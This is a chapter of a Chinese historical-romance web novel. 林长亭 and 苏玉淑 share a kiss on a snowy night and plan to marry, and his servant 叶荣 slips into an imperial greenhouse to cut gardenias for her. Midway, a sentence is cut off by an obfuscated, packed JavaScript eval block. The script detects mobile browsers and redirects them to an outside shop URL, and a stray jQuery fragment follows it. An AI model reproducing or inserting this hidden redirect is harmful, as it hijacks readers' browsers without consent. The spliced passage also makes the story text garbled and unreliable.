冬天的夜总是来得格外的早。天际线被模糊成一片昏黄的橘,透着一股荒凉的气息。
二人走出仓库,寒冷像一盆冰水般迎面泼来。
苏玉淑呵出一口气,转瞬便成了霜,两道白雾在空气中急切地升起、纠缠,旋即被风吹散。林长亭下意识将她往怀里带了带,用披风牢牢裹住。
寒冷有了具体的形状——是试图钻进脖颈的风刃,是地面微微反光的冻霜。
但他用沉默又稳定的体温在广袤的寒冷中,为她圈出了一片小小的、不容侵犯的领地。他们的脚步踩在冻得坚硬的道路上,发出轻微的声响,像极了某种秘密的节拍。
世界很大,很冷。
但他们在此刻贪婪地共享着同一片衣料下的、隐秘、潮湿又温暖的呼吸。
“晚上可不许任性了,必须驾车回去,知道了吗?”林长亭无奈又宠溺地看着这个瑟缩在自己臂膀下的少女,她明明已经冻得指尖通红,还偏要伸出手去戳那湿润的雾气。
像个小孩子。
苏玉淑闻言,又稍稍往他身下靠了靠:“知道了……那可不可以……”
“我们可以给绿萝和石竹带些点心,再一起给鸩带些米酒……”他笑着揣摩着她的小心思,“是不是还有兀罗浑部的那个混小子,也得给他带些什么?”
“可以吗?!”
林长亭笑着低下头,他刚想轻声答应,可那个脱口而出的“好”字却哽在了喉咙。
她的瞳孔湿漉漉的,在一片朔寒之中分外明亮,像是盛满了碎裂的星辰。她的目光是那样炙热而真诚,她是能在权力倾轧的霜雪之中,依旧能够盛放的一朵花。
桀骜又明艳的花。
一阵穿堂风猛地刮过无人的巷口,初雪在寂寥当中如约而至。
他几乎是本能地转身,用背脊抵住风势,手臂将她圈得更紧。披风扬起,又落下,将他们彻底封进一个黑暗的、带着他体温的小小宇宙。
她的脸颊抵着他的心脏。
他的心跳隔着层层衣料传来,稳而重,像是某种隐秘的节拍。
然后,他忽然拉开了距离。
她疑惑地抬眼,在披风的阴影里,苏玉淑只能看到他绷得更紧的下颌线,和轻微地滚动了一下的喉结。
林长亭低下头对上她的目光,方才御风时的那点游刃有余消失了,一种更深、更暗的东西,在他眼底晕染开来。
“林长亭……?”她声音不自觉放轻。
他没有回应。
林长亭只是看着她,目光从她睫毛,落到鼻尖,最后停在她被冻得微红的唇上。那目光有了重量,有了温度,几乎像触觉般拂过她脸颊的每一寸。
忽然,他抬起手——不是惯常的轻抚,而是用微曲的指节,有些重地蹭过她的下唇。
“你好凉。”他说,声音哑了三分。
她整个人一颤,他指尖那一掠而过的暖似乎带来了更多的寒意,苏玉淑不由自主地偏过头去追寻他的手——
少女微凉的皮肤轻轻贴住了他的掌心,来不及思考,林长亭的手掌已用力捧起她的脸颊。略有些粗糙的手指拇指迫近她的脖颈,稍稍用力,苏玉淑便仰起了头。
他用力挥动披风,厚实的布料只容得下彼此的世界。檐角灯笼的光晕流泻进来,照亮他骤然逼近的眉眼,和眼底那片不再掩饰的、深浓的渴望。
林长亭的气息与她呼出的白雾交融,低语带着几分蛊惑的意味:“给你暖暖。”
他吻了下来。
这个吻和之前在马车里的那个截然不同。没有试探,没有青涩的孤勇。它是沉的、烫的,带着冬夜跋涉后的寒冽气息,和骤然破闸的、滚烫的独占欲。
他含住她下唇,轻轻一吮,在她惊觉的瞬间更深地侵入。披风将他们严密地包裹,所有的呜咽、喘息和心跳都闷在这个狭小又黑暗的空间里,蒸腾出令人眩晕的热度。
苏玉淑无意识地攥紧他胸前的衣料,试图向后逃开这个令人窒息的吻,可下一秒她的世界便只剩天旋地转。世界退得很远,远到只剩下他唇舌的温度,他环在她腰后强硬的手臂将人不由分说地拉回,重新用他的热量烙印上她的灵魂。
许久,他缓缓退开毫厘。
林长亭轻轻抵着她的额头,呼吸粗重地拂在她湿亮的唇上。
两人都没说话。只有白汽在咫尺间慌乱地交融、升腾。
“你……”苏玉淑张了张口,却又不知该说些什么。她最终还是嗫嚅一番,将脸埋进了他依旧温热的胸膛,声音细若蚊蚋:“你这个……登徒子。”
林长亭低低地笑了起来,胸腔的震动透过衣物传过来,带着令人安心的频率。他收紧手臂,将她拥得更紧,下巴抵着她的发顶,语气里满是得逞的愉悦:“那你要报官吗?苏大小姐?”
初雪在地面留下薄薄一层白霜,像撒了一把揉碎的星星。巷口的灯笼被风吹得轻轻摇晃,光影在他们身上明明灭灭。苏玉淑在他怀里逗留了半晌,才闷闷地说:“那……点心和米酒还要买吗?”
“买。”林长亭毫不犹豫地回答,低头在她发旋上亲了一下,“说了要带你去吃山珍海味,还要去晚市,去看长街明灯……我答应的,一样都不会少。”
他牵起她的手,将她的手指一一裹进自己温暖的掌心,然后拉着她往巷外走去。苏玉淑被他牵着,亦步亦趋地跟着,脚下踩着霜花,发出细微的咯吱声。刚才那个炽热的吻仿佛还烙印在唇上,让她心跳依旧快得不像话,脸颊也烫得厉害。
可牵着的手,她无论如何都舍不得放开。
“对了,”苏玉淑忽然想起什么,抬头看向林长亭,“你刚才在库房说……不走了?我们一直在一起?”
林长亭脚步一顿,转过身认真地看着她,眼底的笑意深邃而坚定:“嗯,不走了。明日早朝,我会求圣上再拨给人手给我,将私盐案与码头男尸并案。一来我可以常驻京中……二来,我也可以掌握更多权力,早日查出幕后真凶。眼下史明仍在死咬,虽然他的姨娘已经供出贾骐,但私盐的贩运在漕运上做得极其干净,一时间也抓不住别的证据。我一定要把这个人揪出来……”
他的目光极为恳切,平日里那张冷静而自持的面庞此刻却动容到几近落泪,“待此事完结,我就向圣上请旨赐婚……玉淑,我想每天醒来都能看到你,想和你一起经营玉海亭,想陪你吃遍东梁的大街小巷,想和你……一直到老。”
他的话语朴实无华,却像一颗石子投入苏玉淑的心湖,漾起圈圈涟漪。
苏玉淑不语,她看着林长亭眼中的自己一点点变得模糊,一种从未有过的冲动充斥着她的心海——
她用力点头,声音清脆而坚定:“好。我答应的……我都会做到。”
林长亭握紧了她的手,两人相视一笑,所有的千言万语都融化在这无声的默契里。他们并肩走在渐渐亮起灯火的街道上,身后是枯树的剪影,身前是京城繁华的夜景。冰冷依旧,霜寒未减,但二人内心的烈火却足以焚尽这世间所有的风霜。
“那我们现在先去买点心和米酒,然后……”苏玉淑仰着小脸,掰着手指头数着,“然后去吃城南那家据说很好吃的酒楼,再去晚市逛一逛,听说为了小雪这一天,京兆府特地挂了节灯,祈求来年风调雨顺呢!我们……一起去看看?”
“都听你的。”林长亭宠溺地看着她,眼中的笑意温柔得能滴出水来。
华灯初上,长街如昼。
今年的雪来得格外的早,他们的身影渐渐融进了灯火阑珊。
街边的摊贩早已支起了暖炉,氤氲的烟火恍惚间将二人带回了在樊城的那个夏夜。命运早已用一路的喧闹熙攘将他们紧紧束缚,那一夜的热蔓延到了整个冬天。直到酒足饭饱,苏玉淑都红着脸没怎么说过话,少女细腻的心思全写在了那双偶尔抬眼偷看他的眼眸里。
林长亭将一切尽收眼底,嘴角噙着一抹若有若无的笑意。他也不戳破,只是静静地为她夹菜添饭,二人难得有如此温馨的时刻,他只想静静地守在她的身旁,多看一会儿她的笑颜。
哪怕只有一刻也好。
“玉淑,你等我一下好吗?”林长亭突然握了握她的手,“我去去就回。”
苏玉淑点了点头,并未多问。
他闪身走出雅间,又将门紧紧关好,生怕透了寒风进来。林长亭静步到走廊转角出,他轻轻推开窗,昏黄的灯火衬得他清冷又俊美。
“叶荣。”
不过一会儿,房檐上立刻传来“扑簌簌”的动静。一个人影立刻倒挂着出现在窗前,手里还捧着个不知哪里买来的热腾腾的炊饼:“少爷,您有何吩咐?”
“你……”林长亭也没想到会以这种方式见面,他苦笑一声摇了摇头,“去帮我偷点东西来。”
“少爷……这京城里什么东西需要您去偷啊?”叶荣嘴里塞得满满当当,哪怕是倒挂也不忘咀嚼两口,“您说就是了,我这就去。”
苏玉淑的到来似乎让他们的生命都多了一丝色彩,仿佛为一成不变的日子灌注了鲜活气,但坏处就是身边的人一个接一个的没规矩起来。
真是上梁不正下梁歪。
林长亭倒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982759|185365||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是不恼,他只是低声耳语了几句便转身离开。
叶荣看着面前紧闭的窗子,一时间愣住了神。且不说在以前,这般“玩忽职守”是要被打军棍的,单单是少爷要的东西就足够他的小脑袋思索一会儿了。
不过……只要少爷高兴,什么活儿不是干呢?
他三五下就吃完了炊饼,腰腹一个用力便翻身上房顶。他于黑夜之中穿梭,飘忽的雪花是他最好的伪装。
叶荣的身影在屋顶如狸猫般轻盈,瓦片上的薄雪被他踏碎,却未发出半分多余声响。他循着林长亭的嘱咐,避开巡夜的衙役,像一片羽毛般轻轻落在墙檐下。
红墙金瓦,这片地方他再熟悉不过。
只是少爷不喜欢……他也不喜欢。
叶荣搓了搓手,眼下可不是感怀的时候。少爷要什么东西自有他的道理,他只要满足少爷的心思去做就是了。
他深吸一口气,借着廊下灯笼的微光辨认着方位。那处院子的飞檐上挂着一串铜铃,风一吹便叮当作响,此刻却被积雪压得沉寂——正是圣上平日里赏玩花草的暖房偏院。叶荣指尖扣住缝隙,身形如壁虎般贴墙而上,瓦片上的冰凌在他靴底碎裂,发出细不可闻的脆响。
此处虽说看守宽松,可怎么说也是皇家圣地,行事务必要小心谨慎。
叶荣屏住呼吸,像一片真正的落叶般伏在暖房屋檐的阴影里,目光如鹰隼般扫视着院内。几个守夜的太监缩在廊下的炭盆边打盹,鼾声与炭火噼啪声交织,倒成了最好的掩护。叶荣看准西侧那扇虚掩的窗,窗纸上映着几株梅枝横斜的影子——
正是暖房最深处的位置。他手指在腰间一捻,几枚小巧的银针无声飞出,精准地钉在廊下灯笼的垂穗上,灯笼猛地一晃,光线骤然暗了几分,守夜太监的鼾声却依旧未停。
借着这片刻的昏暗,叶荣如狸猫般翻身落地,脚尖在结霜的青砖上一点便已滑至窗下。他没有直接开窗,而是用指腹轻轻叩击窗棂,发出三短两长的轻响——这是他与暗卫营兄弟联络的暗号,此刻正好用来试探屋内是否有人。
他静候片刻,屋内毫无动静,只有隐约的花香随着冷气飘出。他这才放心,指尖蘸了点唾沫,在窗纸右下角轻轻捅破一个小孔,向内望去。
暖房内暖意融融,与外界的冰天雪地判若两个世界。几盆罕见的绿萼梅开得正盛,暗香浮动,墙角的炭火盆烧得正旺,映得满室红光。而在暖房中央的紫檀木花架上,摆着一只霁蓝釉描金的花盆,盆中栽着一株盛放的栀子,枝干虬劲,花瓣如牛奶般温润,在烛火下闪烁着珍珠般的光泽。
叶荣不敢耽搁,指尖在窗棂搭扣上轻轻一挑,木栓“咔嗒”一声轻响便已脱落。他侧身滑入暖房,炭火的热浪夹杂着浓郁的花香扑面而来,他下意识屏住呼吸。
这香气太盛,若是沾在身上,怕是易被追踪,惹出事端。
他蹑手蹑脚靠近花架,目光落在那株栀子上。花瓣洁白得近乎透明,鹅黄的花蕊顶着细密的露珠,在暖融融的空气里微微颤动。叶荣小心翼翼伸出手,他依照林长亭的吩咐,小心翼翼地剪下几枝,再用绢布轻柔地包好。
他将包好的花枝揣进怀里,又仔细检查了一遍窗棂和地面,确认没有留下任何痕迹,这才如来时一般,贴着墙根滑出暖房,几个起落便消失在茫茫夜色中。
,那株被剪去花枝的栀子依旧静静立在花架上,只是原本饱满的枝桠处,留下了几处细微的切口,在摇曳的烛火下,仿佛从未有人惊扰过这片静谧的芬芳。
夜色渐浓,雪已是积了几分。叶荣飞奔在寂静的街巷,身形如离弦之箭般朝着城南酒楼的方向疾驰。
务必要赶上,务必要赶上——
叶荣折了一个来回,恰巧逢着二人从酒楼出来。他放肆地笑着,调皮地打着出溜呼啸而过:“少爷!接着!”
林长亭稳稳接过叶荣抛来的绢布包,手中还带着暖房里残留的余温。他不动声色地对叶荣微微颔首,又毫不迟疑地将苏玉淑的手裹进自己掌心,身体短暂的分别让他格外珍惜此刻的相握。
苏玉淑察觉到他手心里多了个柔软的东西,她好奇地抬眼:“你让叶荣去取什么了?”
他将绢布打开,几枝洁白的栀子便赫然出现在眼前。花瓣在灯火下宛如绸缎般细腻,暖融融的香气混着雪夜的清冽扑面而来——
“初雪时节,怎能无花?”
林长亭将花枝递到她面前,雪花肆意地飘洒在二人的肩头,影影绰绰的月光温柔地落在他的眸子里:
“玉淑……你……便是我一生的风花雪月。”